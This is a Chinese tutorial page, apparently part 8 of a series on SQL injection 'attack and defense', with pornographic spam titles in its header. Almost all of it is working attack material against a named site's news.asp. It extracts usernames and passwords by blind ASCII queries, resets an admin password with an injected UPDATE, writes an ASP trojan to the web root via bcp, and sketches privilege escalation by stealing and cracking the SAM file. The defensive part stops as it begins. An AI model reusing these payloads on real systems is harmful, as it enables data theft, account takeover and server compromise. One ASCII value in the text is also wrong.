国产宅男网站在线|亚洲A级性爱免费视频|亚洲中精品级在线|午夜福利AA毛

  • <dd id="gf5jf"><th id="gf5jf"></th></dd>

    <cite id="gf5jf"><label id="gf5jf"></label></cite>
  • <div id="gf5jf"><listing id="gf5jf"></listing></div>
    學(xué)習(xí)啦>學(xué)習(xí)電腦>電腦安全>網(wǎng)絡(luò)安全知識>

    SQL注入漏洞的攻防策略(8)

    時間: 若木632 分享

      猜解法:此方法就是根據(jù)個人的經(jīng)驗猜字段名,一般來說,用戶名字段的名稱常用:username,name,

      user,account等。而密碼字段的名稱常用:password,pass,pwd,passwd等。并通過語句進行判斷

      HTTP://www.163.com/news.asp?id=xx and (select count(字段名) from TestDB.dbo.admin)>0

      “select count(字段名) from 表名”

      語句得到表的行數(shù),所以若字段名存在,則news.asp工作正常,否則異常。如此循環(huán),直到猜到兩個

      字段的名稱。

      讀取法:基本的實現(xiàn)方法是

      HTTP://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from

      TestDB.dbo.sysobjects)>0 。

      select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是從sysobjects得到已知

      表名的第一個字段名,當(dāng)與整數(shù)進行比較,顯然news.asp工作異常,但在異常中卻可以發(fā)現(xiàn)字段的名稱。

      把col_name(object_id('admin'),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。

      d 猜解用戶名與密碼

      猜用戶名與密碼的內(nèi)容最常用也是最有效的方法有:

      ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的?;镜乃悸肥窍炔鲁鲎侄蔚拈L度,然

      后依次猜出每一位的值。猜用戶名與猜密碼的方法相同,以下以猜用戶名為例說明其過程。

      HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from

      TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username

      為用戶名字段的名稱,admin為表的名稱),若x為某一值i且news.asp運行正常時,則i就是第一個用

      戶名的長度。如:當(dāng)輸入

      HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8時

      news.asp運行正常,則第一個用戶名的長度為8

      HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from

      TestDB.dbo.admin)=n

      (m的值在1到上一步得到的用戶名長度之間,當(dāng)m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是

      1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統(tǒng)用戶帳號表的名稱),若n為某一值i

      且news.asp運行正常時,則i對應(yīng)ASCII碼就是用戶名某一位值。如:當(dāng)輸入

      HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from

      TestDB.dbo.admin)=80時news.asp運行正常,則用戶名的第三位為P(P的ASCII為80);HTTP://www.163.co

      m/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33

      時news.asp運行正常,則用戶名的第9位為!(!的ASCII為80);猜到第一個用戶名及密碼后,同理,可以猜

      出其他所有用戶名與密碼。注意:有時得到的密碼可能是經(jīng)MD5等方式加密后的信息,還需要用專用工具

      進行脫密?;蛘呦雀钠涿艽a,使用完后再改回來,見下面說明。簡單法:猜用戶名用HTTP://www.163.com

      /news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) ,

      flag是admin表中的一個字段,username是用戶名字段,此時news.asp工作異常,但能得到Username的值

      。與上同樣的方法,可以得到第二用戶名,第三個用戶等等,直到表中的所有用戶名。

      猜用戶密碼:HTTP://www.163.com/news.asp?id=xx and (select top 1 flag from

      TestDB.dbo.admin where pwd>1) , flag是admin表中的一個字段,pwd是密碼字段,此時news.asp工作

      異常,但能得到pwd的值。與上同樣的方法,可以得到第二用戶名的密碼,第三個用戶的密碼等等,直到

      表中的所有用戶的密碼。密碼有時是經(jīng)MD5加密的,可以改密碼。

      HTTP://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a'

      where username='www';-- ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的用戶名)用

      同樣的方法當(dāng)然可把密碼改原來的值。

      2、利用表內(nèi)容導(dǎo)成文件功能

      SQL有BCP命令,它可以把表的內(nèi)容導(dǎo)成文本文件并放到指定位置。利用這項功能,我們可以先建一張

      臨時表,然后在表中一行一行地輸入一個ASP木馬,然后用BCP命令導(dǎo)出形成ASP文件。

      命令行格式如下:

      bcp "select * from text..foo" queryout c:/inetpub/wwwroot/163.asp –c –S localhost –U sa

      –P foobar

      ('S'參數(shù)為執(zhí)行查詢的服務(wù)器,'U'參數(shù)為用戶名,'P'參數(shù)為密碼,最終上傳了一個163.asp的木馬)

      3、利用工具,如NBSI給出的一些參考數(shù)據(jù)最重要的表名:

      select * from sysobjects

      sysobjects ncsysobjects

      sysindexes tsysindexes

      syscolumns

      systypes

      sysusers

      sysdatabases

      sysxlogins

      sysprocesses

      最重要的一些用戶名(默認(rèn)sql數(shù)據(jù)庫中存在著的)

      public

      dbo

      guest(一般禁止,或者沒權(quán)限)

      db_sercurityadmin

      ab_dlladmin

      一些默認(rèn)擴展

      xp_regaddmultistring

      xp_regdeletekey

      xp_regdeletevalue

      xp_regenumkeys

      xp_regenumvalues

      xp_regread

      xp_regremovemultistring

      xp_regwrite

      xp_availablemedia 驅(qū)動器相關(guān)

      xp_dirtree 目錄

      xp_enumdsn ODBC連接

      xp_loginconfig 服務(wù)器安全模式信息

      xp_makecab 創(chuàng)建壓縮卷

      xp_ntsec_enumdomains domain信息

      xp_terminate_process 終端進程,給出一個PID

      (三)、得到系統(tǒng)的管理員權(quán)限

      ASP木馬只有USER權(quán)限,要想獲取對系統(tǒng)的完全控制,還要有系統(tǒng)的管理員權(quán)限。怎么辦?提升權(quán)限

      的方法有很多種:

      上傳木馬,修改開機自動運行的.ini文件(它一重啟,便死定了);

      復(fù)制CMD.exe到scripts,人為制造UNICODE漏洞;

      下載SAM文件,破解并獲取OS的所有用戶名密碼;

      等等,視系統(tǒng)的具體情況而定,可以采取不同的方法。

      那么我們怎么防注入呢?程序如下加入到asp或html或php或cgi里面都可以。經(jīng)過測試。加入如

      top.asp文件中開頭

    75367